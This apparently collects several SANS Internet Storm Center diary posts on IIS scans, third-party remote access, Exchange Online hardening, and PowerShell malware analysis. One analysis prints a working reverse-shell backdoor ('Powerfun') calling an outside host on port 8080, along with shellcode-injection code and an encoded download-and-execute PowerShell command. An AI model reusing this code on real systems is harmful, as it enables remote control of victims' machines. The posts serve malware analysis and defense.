A reader has been reporting an increase in scans for "FPURL.xml" against their IIS server. The file did not exist in this case, and the server returned a 404 error. Checking our honeypots, we found little to no requests for this URL. But our honeypots are currently not emulating IIS servers. These scans have been hitting IIS servers for a while, according to some other reports I found.

FPURL.xml is used as part of Microsoft's federated identity system. It can be used to implement "Windows Hello for Business." With Windows Hello for business, users can authenticate to Azure AD using two-factor authentication, and you can leverage this authentication for your applications. A client taking advantage of this authentication mechanism will load FPURL.xml to learn the parameters needed to authenticate. Here is a typical FPURL.xml file:

(I abbreviated some of the Base64 encoded strings to make this more readable)

<FederationProvider>
<FPDOMAINNAME>MicrosoftOnline.com</FPDOMAINNAME>
<CLIENTCONFIG>https://clientconfig.microsoftonline-p.net</CLIENTCONFIG>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<Reference URI="">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<DigestValue>7Dl3OtA9+LvTX7P6gpBbsMe70U4=</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>hCHLON..5mTQ==</SignatureValue>
<KeyInfo>
<X509Data>
<X509Certificate>MIIDBTCCAe2gAw...vMqm9ndL7</X509Certificate>
</X509Data>
</KeyInfo>
</Signature>
</FederationProvider>

The file describes a "Federation Provider" that can be used to authenticate. In this case, the Federation Provider is MicrosoftOnline.com, and the file describes algorithms and certificates to use.

This file has some reconnaissance value. An attacker may now, for example, know that they can phish users for MicrosoftOnline credentials to get access to the resource. It could also be used for simple fingerprinting. There is a possibility that some of the requests you see for this file are just caused by clients that check if you are supporting this authentication method. 

If anybody has additional input on these scans: Please let me know below or via our contact page.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Yesterday, I wrote a quick diary about a potential security issue that some Tyler customers faced[1]. Some people reacted to my diary with interesting comments in our forums. Two of them were interesting and deserve some review.

« Sometimes their techs will install the Bomgar jump client on your servers when they are troubleshooting issues. They don't remove it, it is left to the local entity to remove it or at least disable the service until it is needed again. »

Or

« A lot of vendors, especially in the local government sector expect customers to install these clients and leave them on. They are truly offended when you tell them no, same on the SCADA side of things. »

When you are outsourcing some tasks to a third-party (read: an MSSP, an integrator, ...), it’s very important to keep an eye on what they do and how they do it.

The installation of remote access tools (some of them are very close to a malicious backdoor) or specific accounts is a key point to allow them to perform their day-to-day job. But it does not mean that they can do whatever they want. When I read « it is left to the local entity to remove it or, at least, disable it », it means that a process must be implemented to follow this. The main risks are to detect an attacker using the third-party network to pivot into your organization or to detect their credentials used by attackers from unknown locations. That’s why Tyler asked its customers to reset all passwords related to their remote activities.

Here are some tips to increase the operations security when working with third-parties.

1. Know « who’s behind the keyboard ». Are the third-party employees on the payroll, dedicated to you (read: they know you and your business). Are they also contractors? Are they located in the same country as yours?
2. When it's not mandatory, do not keep the remote access open 24x7. All access requests must be approved following a procedure.
3. Do not grant full access to your infrastructure. Restrict the third-party rights to the minimum resources to perform its job (least privilege). Keep segmentation in mind. Restrict its access to a jump host that will be used to enforce more security controls.
4. Keep logs of who did what, when, why, and from where. Log everything, all connections, all commands. 
   Example: Detect an unforeseen connection from an unusual location outside the business hours.
5. Keep an inventory of your partners and installed software. Force them to upgrade them and audit the settings.
6. Enable security settings available in the deployed tools
   Example: Enable MFA, activate client-side certificates, provide security tokens.

Finally, don’t be afraid to say « No » and explain why you don’t agree with their requirements. They will work on YOUR platform which hosts YOUR data. You’ll be responsible in case of a data breach!

This list is not exhaustive. If you've implemented other specific controls when working for third-party organizations, please share!

[1] https://isc.sans.edu/diary/26610

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

One of our readers, a Tyler Technologies's customer, reported to us that he found this morning the Bomgar client[1] (BeyondTrust) installed on one of his servers. There is an ongoing discussion on Reddit with the same kind of reports[2].

On September 23rd, Brian Krebs posted an article about an attack against Tyler Technologies[3]. Yesterday, the post was updated with the following communication from Tyler Technologies:

We apologize for the late-night communications, but we wanted to pass along important information as soon as possible. We recently learned that two clients have report suspicious logins to their systems using Tyler credentials. Although we are not aware of any malicious activity on client systems and we have not been able to investigate or determine the details regarding these logins, we wanted to let you know immediately so that you can take action to protect your systems

If you're also one of their customers, it could be interesting to have a look at suspicious remote access.

[1] https://www.beyondtrust.com/remote-support/features/jump-clients-remote-access
[2] https://www.reddit.com/r/k12sysadmin/comments/iyw2ve/tyler_technologies_ransomware_attack/
[3] https://krebsonsecurity.com/2020/09/govt-services-firm-tyler-technologies-hit-in-apparent-ransomware-attack/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

When you need to perform malicious actions on a victim's computer, the Internet is full of resources that can be reused, forked, slightly changed to meet your requirements. After all, why reinvent the wheel if some pieces of code are available on GitHub for free? If you developed some offensive tools for good reasons (because you're a pentester, a red teamer of just doing some research), chances are high that your code will be reused.

Here is a practical example found in the wild. The initial PowerShell script has a VT score of 8/59 (SHA256:f4a4fffaa31c59309d7bba7823029cb211a16b3b187fcbb407705e7a5e9421d3). The script is not heavily obfuscated but the technique used is interesting. It uses the CSharpCodeProvider[1] class:

$nTlW = New-Object Microsoft.CSharp.CSharpCodeProvider
$cUj0x = New-Object System.CodeDom.Compiler.CompilerParameters
$cUj0x.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
$cUj0x.GenerateInMemory = $True
$zgA = $nTlW.CompileAssemblyFromSource($cUj0x, $dn)

The code above compiles on the fly some code to allow code injection. This is not the first time that I write about this technique[2], like malware compiling code on the fly[3]. Let's have a look at the injection code:

$fH3rI = [y5SR.func]::VirtualAlloc(0, $u4O.Length + 1, [y5SR.func+AllocationType]::Reserve -bOr [y5SR.func+AllocationType]::Commit, [y5SR.func+MemoryProtection]::ExecuteReadWrite)
if ([Bool]!$fH3rI) { $global:result = 3; return }
[System.Runtime.InteropServices.Marshal]::Copy($u4O, 0, $fH3rI, $u4O.Length)
[IntPtr] $ay = [y5SR.func]::CreateThread(0,0,$fH3rI,0,0,0)
if ([Bool]!$ay) { $global:result = 7; return }
$p0vZ = [y5SR.func]::WaitForSingleObject($ay, [y5SR.func+Time]::Infinite)

1. A new memory region is allowed in the current process environment (the PowerShell interpreter) via VirtualAlloc(). The most important parameter is 'ExecuteReadWrite' (the famous 0x40 value)
2. The shellcode is copied into the newly allocated memory via Copy()
3. A new threat is created via CreateThreat()
4. To now block the parent threat, WaitForSingleObject() is called

Let's have a look at the shellcode. It's a Base64-encode chunk of data:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite base64dump.py f4a4fffaa31c59309d7bba7823029cb211a16b3b187fcbb407705e7a5e9421d3.dms -n 100 -s 1 -S
;}$u
D$$[[aYZQ
powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-
Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,
[System.Convert]::FromBase64String('H4sIADeXAV8CA51WW2/bNhR+9684cLVaQixCCTCgCJBirpJuAdLWqLzlwTAQWjqOtcikRlK+LPF/
LylRF8cJukwvtsjD73znOxfqHYz5BsWiYODDrUiVQgbzHXzSP5NCMBTwHi7pGuEPKpJdr6ctY5VyBr+j8m9xHmcpMgW9xx7ox9nEcAFfceN/m/+N
sQJ/ssvxK12hXlRE24elfW1M/pR4iQtaZCoUmOidlGZSQzhKFNhYjQXf7sgzC73eWalte/uWYl6H1nuEcn9MBV251f9ppETK7mdOyFcrypLh4Wok
s5izZ4uXfMMyTpNy1bOYgscoJVgBVjwpMjQEf3M9qEzSBbi1G/DxH+jPU5b0vXKzOleezVKp5deSX2iXO/1/RYxqEY8fUEkyifMbazH7EHwIjg8S
qahQxq/1XO7aFF107EZxjLnSgFU63IrK/jW6AtcoJB4zbqA7KX+JeTi2jvp5cvrvnLCsPzQhWL+9SjupBNKVIVrhEl1jUbmmCbbUqtRUzEyZ9G0m
OrykzKIa7BVqGBe63Hckqk1d63/oLHQ94dB9dCYafQ8+lTA9OPMdV1xhiEKlizSmCv+iWZpQU3QhzbI5jR9mnvcCHTIq1NJUrDk0kkeieJ20tWq0
0XTlms53CqezmWN+TcEFhJwF+nn65THYW0WRJfW2O1W4VQRZzBNTzefnoyi8vvaMyp+Mjdu/1WXJN7KaCdESswxEwZi2Bq1BIXVp9uEEHGTrc/PG
TGOf6DWdjmYj5qu8UO3mHQt5vhPp/VKBG3pwFpz+Cl/SWHDJFwpCLnIuSu0IjIxHYylBoHawxoTcsTtmK89qQsygQreNbhgM2xdyg+xeLbsVU/dt
t2aOSuZtUk1PZnCjIY02tudJw/PtXOtTn7m4ovFSc65AIWXNTGmtWtrmcQ9GsUfqaKupVSN5T9dszR/Qv9rmWlup9W5Q9odt+CYlBuMIBjrPJYsb
HpeZ9MiYqqVeHXwc/O/UbZZphq7rpGUPVMe/I03cquKHEAzBOTjngc8QgqPcXhn6mEx0KK9dT3Y0GBNShnhlQ25RdINTQ6WDZidUKXMdDjip96ys
9DwwWh4lAPx6zFbgZx/fn8ITfCuUX6GCleIA6gxKQWpgLfJPUgCDFmRriDgoBBfTYHbgrMO63CdxhlS43ksMLrovuvG3veNO+k/l08L8tHW6pXLU
OPWZz1khl83Na8egvU7CjEu08bR3YaR4Xl+A+uuh13w1NMmx1x/49uYxA+QH7Wza3jkJAAA='))),
[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

The shellcode is simple to understand, it used WinExec() to launch another PowerShell command which decodes more Base64-encoded data, unzips it, and executes it. Let's look at it in scdbg:

Here is the code PowerShell code executed in the injected threat:

# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient 
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun 
{ 
    Param( 
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    ) 
    Process {
    $modules = @()  
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]8080
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("pd1zb[.]nl",8080)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true") 
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("pd1zb[.]nl") 
        $stream = $sslStream 
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

The backdoor can be found on this github.com repository:  davehardy20/PowerShell-Scripts[4]. The next question is: why to perform process injection of a PowerShell script into the initial PowerShell process? Probably to improve the obfuscation, this is confirmed by the low VT score!

[1] https://docs.microsoft.com/en-us/dotnet/api/microsoft.csharp.csharpcodeprovider?view=dotnet-plat-ext-3.1
[2] https://isc.sans.edu/forums/diary/Malicious+PowerShell+Compiling+C+Code+on+the+Fly/24072
[3] https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on+Premise/25278
[4] https://github.com/davehardy20/PowerShell-Scripts

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I was asked to help with the decoding of a BASE64 string that my base64dump.py tool could not handle.

The issue was the following: this particular BASE64 string was corrupt, its length was not a multiple of 4. In BASE64, 64 characters are used to do the encoding: each BASE64 character represents 6 bits. When one byte (8 bits) is encoded, 2 BASE64 characters are needed (6 + 2 bytesbits). To indicate that the last 4 bits of the second BASE64 character should be discarded, 2 padding characters are added (==).

For example, the ASCII character I (8 bits) is represented by 2 BASE64 characters (SQ) followed by 2 padding characters (==). This gives SQ==: 4 bytes long.

When 2 bytes are encoded (16 bits), 3 BASE64 characters are needed (3 * 6 = 18 bits) and 2 bits should be discarded (one padding character =), thus 4 characters are used.

And when 3 bytes are encoded (24 bits), 4 base64 characters are needed (4 * 6 = 24 bits).

Conclusion: valid BASE64 strings have a length that is a multiple of 4.

 

My tool base64dump.py can handle BASE64 strings that have a length that is not a multiple of 4.

Here is an example. BASE64 string 12345678 is 8 characters long:

base64dump.py is able to recognize this BASE64 string, and decode it.

Let's add one character, resulting in a BASE64 string with a length that is not a multiple of 4 (length of 9 characters):

base64dump.py does not recognize this BASE64 string.

We can help base64dump.py to recognize this string, by using option -p. This option takes a Python function, that will be used to process the detected strings before they are decoded. In this case, we will use Python function L4, a function I defined: it truncates strings to a length that is a multiple of 4.

Using this function L4 with option -p, we can decode the corrupt string:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Wireshark version 3.2.7 was released.

It has vulnerability and bug fixes.

One of the vulnerabilities (CVE-2020-25862) can be abused to cause a crash in the TCP dissector.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

 

[This is a guest diary by Jason Dance]

Preamble

Email poses an increasingly attractive vector for criminals to exploit. Most inboxes contain some form of confidential information, whether it is chatter about new products, sensitive information between C-suite members or vendor payment authorization emails from the finance department. Unauthorized access into email servers/inboxes is known as Business Email Compromise and is one of the most financially damaging online crimes.

Microsoft Office 365 usage is accelerating at an ever-increasing pace and adoption shows no signs of slowing. With the impending expiry of Exchange 2010 extended support, the need to provide email to the remote workforce during the COVID-19 pandemic, or the simple allure of no longer needing to manage email servers; more businesses are moving their email services to Exchange Online in the Microsoft Office 365 suite.

The shared security model adopted by most cloud service shifts a portion of securing data to the customer. Microsoft is no different in this respect, and they have published their security support matrix here: https://docs.microsoft.com/en-us/azure/security/fundamentals/shared-responsibility. In this model, Microsoft will protect the platform by securing access to the physical components, making sure the underlying operating systems and applications have the latest patches and providing the customer the ability to apply additional data and configuration controls. The customer is then responsible for managing identity, defining access to data, and maintaining the configuration of the service to meet the security needs of their organization.

The base configuration of Exchange Online is set to allow quick onboarding of customers with minimal barriers to the smooth migration of email into the service. The configuration does require tweaks to in order to make it more secure. I aim to cover some of the more effective tweaks in this document and point the reader to the right documentation to secure their Exchange tenant.

Targeted readers

The information in this document is for all administrators and engineers that are responsible for securing Exchange Online. While somewhat technical in nature, each headline in this document can be used by non-technical people as a conversation starter with their technology team.

Not Included

Exchange Online has many settings and features. Some are large enough to merit a separate document on their own, and others are accessible only through scripting/coding. With this in mind, the following topics are not addressed in this document: Data Loss Prevention (DLP), Digital Rights Management (DRM), Advanced Threat Protection (ATP) and Advanced Message Encryption.

Securing Identity

Account takeover is one of the most common forms of breach in Office 365. Malicious actors commonly take advantage of reused passwords that are leaked in breaches, and short, easy to guess passwords are easily broken by password spraying attacks. Criminals find this vector one of the easiest to exploit, so here are some ways to make it harder for them to succeed.

Identity source. The following four authentication methods are available:

• Cloud only
• Directory sync with password hash
• Directory sync with pass through authentication
• Directory sync with Active Directory Federation Services

Most businesses migrate from an on premise Exchange system into Exchange Online and will already have Microsoft Active Directory (AD) in place. Part of the migration process is to synchronize identities from Active Directory into Azure AD for use in Office 365. Note that to use Azure AD connect to synchronize identities, you will need to have an Azure AD premium P1 or P2 license. Microsoft has published this handy guide to help the implementer decide which path is better for their organization https://docs.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn#decision-tree

Azure AD has a number of features you can use to detect and block risky login. Many of the premium features require the password hash to be synchronized into Azure AD and work best when business users log in with the Microsoft Azure authentication portal. As Active Directory Federation does not synchronize the hash to Azure AD, many of the protections offered with Azure AD identity are not available with this authentication method.

Multifactor Authentication (MFA). There are two forms of MFA supported in Office 365:

• Office 365 MFA: this is managed through the Office 365 Admin portal, and is available to any consumer of the service.
• Azure Active Directory (Azure AD) MFA: this is managed through the Azure AD blade in the Azure Portal, and offers tight integration into other security services.

Both types support application based push notifications (Approve / Deny), text message (SMS) and voice based One-time Passcodes (OTP). While the consensus in the security community is that SMS and voice based OTP are not secure, the use of any MFA will raise security significantly, and having some form of MFA is better than having none at all. Where possible, use application based push notifications as a second factor.

Microsoft outline the pros and cons of each service in this document. They also include links to further documentation on how to enable each type of MFA. https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-mfa-licensing#available-versions-of-azure-multi-factor-authentication

The Azure AD version of MFA offers extra protection when you include the use of Conditional Access (Azure P1 license) or Risk Based Conditional Access (Azure P2 license).

Conditional Access. Configuring conditional access specifies the conditions that must be satisfied before allowing use of the service.

While it can be somewhat tricky to do the initial configuration, it is worth the time as you can require a combination of conditions be present like: Trusted IP addresses, AD domain joined / Intune Compliant, type of app (legacy, browser, compliant app), MFA, Device type (Android, Windows, iOS), users/groups.

To make it easier to implement new policies, Microsoft added a “Report Only” toggle that allows you to test out your policies before enforcing them. There is also a “What if” feature that allows you to validate some combinations of conditions without needing to build the policy first.

More information on how to put together a Conditional Access policy is located here: https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-policies

Azure AD Identity Protection. Requiring a Premium Azure AD license (P1 or P2), this service adds additional reporting of risky logins, which can help raise awareness of potentially compromised logins.

Here is a guide on how to turn this feature on: https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-configure-notifications

Azure AD Password Protection. You can use this feature to restrict the use of easy to guess passwords along with their common letter substitutions. If you have P1 or P2 premium licensing, you can also extend this protection into your on premise Active Directory domain by installing an agent on your domain controllers. With the additional license, you also gain the ability to upload a custom word list for blocking commonly guessed passwords.

Here is the Microsoft document on this feature: https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-password-ban-bad

Limit Global / Exchange Administrators. Criminals that attack Azure AD / Exchange online tenants are themselves very competent Azure Administrators.

Limit the exposure by reducing the number of accounts in privileged roles (like the Global / Exchange Administrator roles) by using Privileged Identity Management (Azure P2), or by moving accounts into lower privileged groups (like Global Reader).

Make sure that any accounts that remain in those roles have MFA enabled. A “break-glass” administrator account should not have MFA enabled, and needs to have a long and complex password stored in a physical safe.

Securing Exchange Online

Exchange Online contains many different vectors of attack. Examples can include group spam, persistent access for email account compromise, all the way to the spoofing of your CEOs email address. Here are some ways to increase security in Exchange Online.

Disable third party app integration. Allowing end users to approve the use of Office 365 apps potentially allows malicious persistent access to their email mailbox.  Use the following document to turn this feature off to mitigate this risk. https://docs.microsoft.com/en-us/microsoft-365/admin/misc/integrated-apps?view=o365-worldwide#turning-user-consent-on-or-off

If you have had this feature enabled in your tenant for a while, an Administrator should review the list of applications that have already been granted access in Azure AD, and remove any that do not have a valid business justification. https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants?view=o365-worldwide#steps-for-using-the-azure-active-directory-portal

Disable auto-forwarding email.  If a criminal gains access to a user's mailbox, they can configure auto-forwarding rules to redirect email from the users inbox to a criminally controlled outside email address. Well-meaning employees, who may set up forwarding of company data into personal email services while trying to increase convenience of use. Exploited more often in business email compromise attacks, auto-forwarding allows the criminal to exfiltrate sensitive data, mask their presence, and maintain some level of persistence after credentials are changed.

Three ways to mitigate this attack are outlined in this article: https://techcommunity.microsoft.com/t5/exchange-team-blog/the-many-ways-to-block-automatic-email-forwarding-in-exchange/ba-p/607579

Enable notifications. Email alerts can be set up to trigger when risky activity is detected. Go to https://protection.office.com/alertpolicies and at minimum, enable the following rules:

• Creation of forwarding/redirect rule
• Impossible travel activity
• Elevation of Exchange admin privilege
• Users targeted by phish campaigns
• Phish (High Confidence) Detected during delivery

You can see alerts that were triggered by going to https://protection.office.com/viewalerts, but note that more detail on each event is actually located in the Cloud App Security portal https://portal.cloudappsecurity.com/#/alerts

Mark external emails with a banner. You can add text to an email if the sender originates from outside of your organization. This is useful to highlight inbound messages from external senders, especially spoofed emails from “the CEO”.

The basic steps to enable this feature are:

• In the Exchange admin center, navigate to Mail Flow and create a new rule called "External Mail Warning”.
• Set the rule as follows:
  • Set "Apply this rule if..." > The sender is located...  > Outside the organization
  • Click “More Options…. at the bottom of the rule dialog
  • Set “Do the following...” > Prepend the disclaimer... > Add text (or HTML if you want it to stand out).
  • Set “Choose a mode for this rule” > Enforced.

Disable Legacy Authentication. Basic Authentication (aka Legacy Authentication) is used by older applications like Outlook 2010 and earlier versions of Exchange Online PowerShell, and older protocols like POP3 and IMAP. This type of authentication attracts password spraying and credential stuffing attacks because MFA is not inserted as a further barrier.

First, you need to turn on Modern Authentication, and then monitor Azure AD Sign In blade for legacy “Client Apps”. Once you have migrated the users of those legacy applications to their modern counterparts, you can either use Conditional Access to block access to legacy applications, disable use of specific protocols, or disable basic authentication for Exchange Online altogether.

Enable Modern Authentication: https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/enable-or-disable-modern-authentication-in-exchange-online

Monitoring Sign-Ins for Legacy app authentication: https://techcommunity.microsoft.com/t5/azure-active-directory-identity/new-tools-to-block-legacy-authentication-in-your-organization/ba-p/1225302

Block Legacy authentication by app with Conditional Access: https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/block-legacy-authentication

OR:

Disable Legacy Authentication: https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/disable-basic-authentication-in-exchange-online

OR:

Disable individual protocols on individual mailboxes: https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/pop3-and-imap4/enable-or-disable-pop3-or-imap4-access

Disable app passwords. App passwords allow a user to create one or more passwords for use with non-browser applications that do not support Modern Authentication. Leaving this setting enabled is risky. Criminals use this feature to maintain persistent connectivity on compromised email accounts, and app passwords are not subject to the expiry policies applied to Azure AD or Active Directory on premise.

The feature can be disabled from either the Azure or Office 365 Admin portal:

Azure Portal:

• • Go to https://portal.azure.com
  • Click on blade Azure Active Directory
  • Navigate to Users > All users
  • Click Multi-Factor Authentication
  • Click "service settings"
  • Under app passwords, select "Do not allow users to create app passwords to sign in to non-browser apps"

Office 365 Portal:

• • Go to https://admin.microsoft.com
  • Click on Settings > Org settings
  • Locate and click Multi-factor authentication, then Configure multi-factor authentication
  • Click "service settings"
  • Under app passwords, select "Do not allow users to create app passwords to sign in to non-browser apps

Enable Mobile Device quarantine. While Intune and Conditional Access offer a seamless way to control access to email on a mobile device, they are only available for tenants licensed with P1 and P2, or have an enterprise mobility license. Exchange Online has a feature that allows you to quarantine mobile device connections to Exchange.

To enable the feature, open the Exchange admin center, navigate to Mobile, and create a rule to cover the device types you want to control.

Enable Mailbox Level auditing.  Mailbox auditing keeps a 90-day log of connections to mailboxes and the actions performed. Use this document to learn how to turn on auditing: https://docs.microsoft.com/en-us/Exchange/policy-and-compliance/mailbox-audit-logging/enable-or-disable?view=exchserver-2019#enable-or-disable-mailbox-audit-logging

Enable Sender Policy Framework (SPF). SPF helps email administrators by reducing spoofed emails for their email domains. The key to enabling this feature is knowing about all email sources that could send email for your domain. Examples include internal email servers that send to outside recipients, Office 365, your marketing email provider and antispam solutions.

Once you have collected this information, you can use online SPF generators to create the record, and then you can apply the suggested TXT record change to your public DNS zone.

Note: If you maintain a split DNS zone (same domain name maintained internally and externally on different DNS servers), you will need to make sure both zones are updated with the TXT record.

Enable Domain Keys (DKIM) and DMARC.   DKIM provides a way to verify the sender of the email. The sender does not have to match the From information, it's more about the server responsible for sending the email.

Like with SPF, you need to find all sources of emails from your domains, make sure they support DKIM, turn on the feature and publish the signature generated by DKIM for that mail source into the relevant DNS TXT record. Each mail source will have its own signature, and you will have one DNS record per mail source. If the mail sources support it, you can import a single signature in the TXT record.

DMARC allows other email systems to validate that the signature matches the one advertised for the originating mail server, and take the action prescribed in the DNS DMARC record.

DKIM: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/use-dkim-to-validate-outbound-email?view=o365-worldwide

DMARC: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/use-dmarc-to-validate-email?view=o365-worldwide

Limit Calendar Sharing. If anonymous calendar sharing is enabled, your users can share the full details of their calendars with external, unauthenticated users. Calendars contain enough information to help attackers understand organizational relationships, gather information intended for internal parties, and determine when specific users may be travelling or more vulnerable to an attack.

To disable anonymous sharing:

• Go to the Services and Add-ins https://portal.office.com/adminportal/home?switchtomodern=true#/Settings/ServicesAndAddIns
• Click on Calendar
• Uncheck “Let your users share their calendar with people outside of your organizations who have Office 365 or Exchange”.

Restrict email from outside senders to sensitive groups. Criminals can distribute malicious emails to your employees via the use email Groups. Your sensitive groups should be set to block mail originating outside of your organization. Pay particular attention to groups that have less characters in the user part of the email address (before the @ symbol). There is a good chance that spam engines already found them by cycling through letter combinations.

• In the Exchange admin center, navigate to Recipients and then Groups.
• Open each sensitive group, click on "delivery management" and select "Only senders inside my organization"

Last thoughts

Some features require more work to configure properly, while other features may cause varying amounts of change in end user workflow. With this in mind, here is my list of quick wins to increase Exchange Online security:

• Enable MFA. Available in some form, regardless of the level you have purchased, it requires initial configuration, needs end user setup and introduces friction into the email login workflow. The security gained from this feature makes it well worth the effort, and end-users will eventually become accustomed to MFA use.
• Disable third party app integration. No complex configuration required, and most users will not know that the feature exists.
• Disable auto-forwarding email. This is very easy to do and shuts down a very commonly used method of persistence and data exfiltration.
• Enable notifications. Configured correctly, you will get alerts when a compromise is detected. You can then follow up with the appropriate incident response.
• Mark external emails with a banner. Providing visibility to end users will enable them to more easily identify spoofed emails from “their CEO”.
• Above all, please communicate with your email users and listen to what they have to say! Announcing service adjustments ahead of time will allow them time to wrap their minds around the changes coming at them, and it is better to have them as champions rather than an insider threat. Ultimately, they are your last line of defense, so treat them fairly and keep them up to date with what you are doing to keep them and their email safe!

Implementing the features and controls listed in this document will help your organization raise the bar against criminals seeking access to the sensitive data in your email environment. I hope this document helps you to increase the security of your Microsoft Exchange Online tenant.

I would like to thank Jim, Ryan, Evan, Kenni and the 7MS Slack Blueteam members for all of their valuable contributions to this document.

Finally, you should be able to find an updated copy of this document at the following link: https://github.com/systeminsecure/public_documents/blob/master/Securing%20Exchange%20Online.pdf

Today, I would like to talk about PowerShell ISE or "Integration Scripting Environment"[1]. This tool is installed by default on all Windows computers (besides the classic PowerShell interpreter). From a malware analysis point of view, ISE offers a key feature: an interactive debugger! It provides all the classic features that you can expect from a debugger: breakpoints, step in, step over, step out, ... all of these features are available while you keep control of the environment to interact with the script through the help of other PowerShell commands. When you're facing a strongly obfuscated scripts, you could speed up the analysis with the help of carefully placed breakpoints. Let's have a look at a practical example.

The malicious script that I'd like to use contains a lot of references to "Ibiza" (hence the title of this diary). The script has a VT score ot 9/60 (SHA256:ead30df7867c2bcb99de71c1686e82d49c6fcc3ba00092a9fc8d878b78c62302).

/!\ Warning: Do NOT debug malicious scripts on sensitive or corporate computers, setup a lab to avoid mistakes and execute the script without breakpoint! /!\

Let's load the file into PowerShell ISE: (note: the file must have the extension .ps1 to be properly saved and debugged)

You can see that the script has some chunks of Base64 data (some of them based on format strings). This is confirmed via base64dump:

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite base64dump.py \
ead30df7867c2bcb99de71c1686e82d49c6fcc3ba00092a9fc8d878b78c62302.ps1 -n 100
ID  Size    Encoded          Decoded          MD5 decoded
--  ----    -------          -------          -----------
 1:     172 bU3lzdGVtLk11bHR mM?????5????? a3373aca7480f0fd3063e6f3bd3d3bce
 2:     172 Ww6R2V0LURlbGVnY [.??].Q.[.Y?].U. b9b01945b37903a46b09c46dd27b3d19
 3:     204 kludm9rZSgkaFByb ?[????J....???\? 1ee694694f746acda3ebcd9cadf650cc
 4:     136 dG8gdGhlIHJ1bm5p to the running P 1a41aab7dc9e6680fee5de37d0c31243
 5:     156 0sIFtVaW50MzJdLC ??.?V??C3%??.?T? edc0526f5004950bfecf715f71f5217c
 6:   70504 76492d1116743f04 ?=??u????8?~5? a2c38d7f5e380d0111f1b55d90986fa0

You see that the first Base64 payload is based on a concatenation of strings. Let's decode this from PowerShell ISE.

First, define a breakpoint via the menu "Debug / Toggle a breakpoint" or press F9. Where? By reading the script, you see that a good candidate is line 13 because, at line 12, we see a reference to Base64String. Once the breakpoint set, the line color is switched to red:

Now, launch the script via the menu 'Debug / Run / Continue" or press F5. Once the debugger reached the breakpoint, it displays a message on the console and the line becomes yellow. We can interact with the script and use more PowerCommand to, by example, display the content of variable or, better, dump it into a file for further analysis:

We now see the decoded Base64 data. It's a new set of PowerShell instructions! Let's dump them into a file:

With the help of WriteAllBytes(), we dump the contain of $PARtYINVITEpREtTY into a file 'payload.ps1'.

